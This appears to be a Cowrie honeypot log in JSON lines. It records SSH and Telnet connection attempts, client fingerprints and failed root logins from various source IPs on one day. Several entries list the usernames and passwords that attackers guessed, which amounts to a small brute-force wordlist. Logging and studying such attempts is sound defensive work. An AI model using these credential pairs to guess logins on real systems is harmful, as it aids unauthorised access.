{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:17.102703Z","src_ip":"165.154.6.86","session":"ce6d2cfbceb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38018,"dst_ip":"159.203.135.109","dst_port":22,"session":"3be61e358a13","protocol":"ssh","message":"New connection: 194.59.206.2:38018 (159.203.135.109:22) [session: 3be61e358a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:17.110933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:17.115671Z","src_ip":"194.59.206.2","session":"3be61e358a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:17.203399Z","src_ip":"194.59.206.2","session":"3be61e358a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:17.294432Z","src_ip":"194.59.206.2","session":"3be61e358a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49888,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c68e5613b6","protocol":"telnet","message":"New connection: 152.42.224.71:49888 (10.17.0.5:23) [session: d5c68e5613b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:17.418557Z"}
{"eventid":"cowrie.session.closed","duration":49.890166997909546,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:17.515426Z","src_ip":"152.42.224.71","session":"c3c42feec4b5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinutzuhacker","message":"login attempt [root/alinutzuhacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:17.992709Z","src_ip":"165.154.6.86","session":"ce6d2cfbceb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49898,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6728ea61825","protocol":"telnet","message":"New connection: 152.42.224.71:49898 (10.17.0.5:23) [session: b6728ea61825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:18.588241Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:19.213171Z","src_ip":"165.154.6.86","session":"ce6d2cfbceb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.36035990715027,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:20.082242Z","src_ip":"152.42.224.71","session":"5865881d875e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":57996,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa73a0934960","protocol":"ssh","message":"New connection: 119.96.193.72:57996 (10.17.0.5:22) [session: aa73a0934960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:23.131207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:23.136020Z","src_ip":"119.96.193.72","session":"aa73a0934960","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:23.387401Z","src_ip":"119.96.193.72","session":"aa73a0934960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"millard","message":"login attempt [root/millard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:24.421374Z","src_ip":"119.96.193.72","session":"aa73a0934960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:25.676806Z","src_ip":"119.96.193.72","session":"aa73a0934960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56370,"dst_ip":"10.17.0.5","dst_port":22,"session":"a98df592f89c","protocol":"ssh","message":"New connection: 185.236.22.41:56370 (10.17.0.5:22) [session: a98df592f89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:30.019940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:30.034052Z","src_ip":"185.236.22.41","session":"a98df592f89c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:30.344874Z","src_ip":"185.236.22.41","session":"a98df592f89c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mrak666","message":"login attempt [root/mrak666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:30.865245Z","src_ip":"185.236.22.41","session":"a98df592f89c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:31.988517Z","src_ip":"185.236.22.41","session":"a98df592f89c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53916,"dst_ip":"10.17.0.5","dst_port":23,"session":"25d9dd00c42b","protocol":"telnet","message":"New connection: 152.42.224.71:53916 (10.17.0.5:23) [session: 25d9dd00c42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:34.724745Z"}
{"eventid":"cowrie.session.closed","duration":55.703901529312134,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:35.348109Z","src_ip":"152.42.224.71","session":"e22e79e8069c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":59626,"dst_ip":"10.17.0.5","dst_port":22,"session":"7668c6fdb961","protocol":"ssh","message":"New connection: 117.121.214.50:59626 (10.17.0.5:22) [session: 7668c6fdb961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:35.541984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:35.546776Z","src_ip":"117.121.214.50","session":"7668c6fdb961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:35.806082Z","src_ip":"117.121.214.50","session":"7668c6fdb961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53928,"dst_ip":"10.17.0.5","dst_port":23,"session":"64f5aecc885b","protocol":"telnet","message":"New connection: 152.42.224.71:53928 (10.17.0.5:23) [session: 64f5aecc885b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:36.788685Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"stupid","message":"login attempt [root/stupid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:36.873522Z","src_ip":"117.121.214.50","session":"7668c6fdb961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:38.141179Z","src_ip":"117.121.214.50","session":"7668c6fdb961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":38158,"dst_ip":"159.203.135.109","dst_port":22,"session":"61bc0edcaf8a","protocol":"ssh","message":"New connection: 103.77.242.62:38158 (159.203.135.109:22) [session: 61bc0edcaf8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:43.540870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:43.547067Z","src_ip":"103.77.242.62","session":"61bc0edcaf8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118732452393,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:43.694803Z","src_ip":"152.42.224.71","session":"7d8c39b610b8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:43.793196Z","src_ip":"103.77.242.62","session":"61bc0edcaf8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35280,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d8e80fa3d54","protocol":"ssh","message":"New connection: 194.113.233.25:35280 (159.203.135.109:22) [session: 7d8e80fa3d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:44.155627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:44.161150Z","src_ip":"194.113.233.25","session":"7d8e80fa3d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:44.254672Z","src_ip":"194.113.233.25","session":"7d8e80fa3d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123123","message":"login attempt [root/a123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:44.524333Z","src_ip":"194.113.233.25","session":"7d8e80fa3d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paradise","message":"login attempt [root/paradise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:44.535540Z","src_ip":"103.77.242.62","session":"61bc0edcaf8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:45.616195Z","src_ip":"194.113.233.25","session":"7d8e80fa3d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:45.787444Z","src_ip":"103.77.242.62","session":"61bc0edcaf8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":57876,"dst_ip":"10.17.0.5","dst_port":22,"session":"73d240da06a1","protocol":"ssh","message":"New connection: 166.1.144.134:57876 (10.17.0.5:22) [session: 73d240da06a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:46.737254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:46.747132Z","src_ip":"166.1.144.134","session":"73d240da06a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:46.844587Z","src_ip":"166.1.144.134","session":"73d240da06a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"otsmanager","message":"login attempt [root/otsmanager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:47.259530Z","src_ip":"166.1.144.134","session":"73d240da06a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:48.365113Z","src_ip":"166.1.144.134","session":"73d240da06a1","protocol":"ssh"}
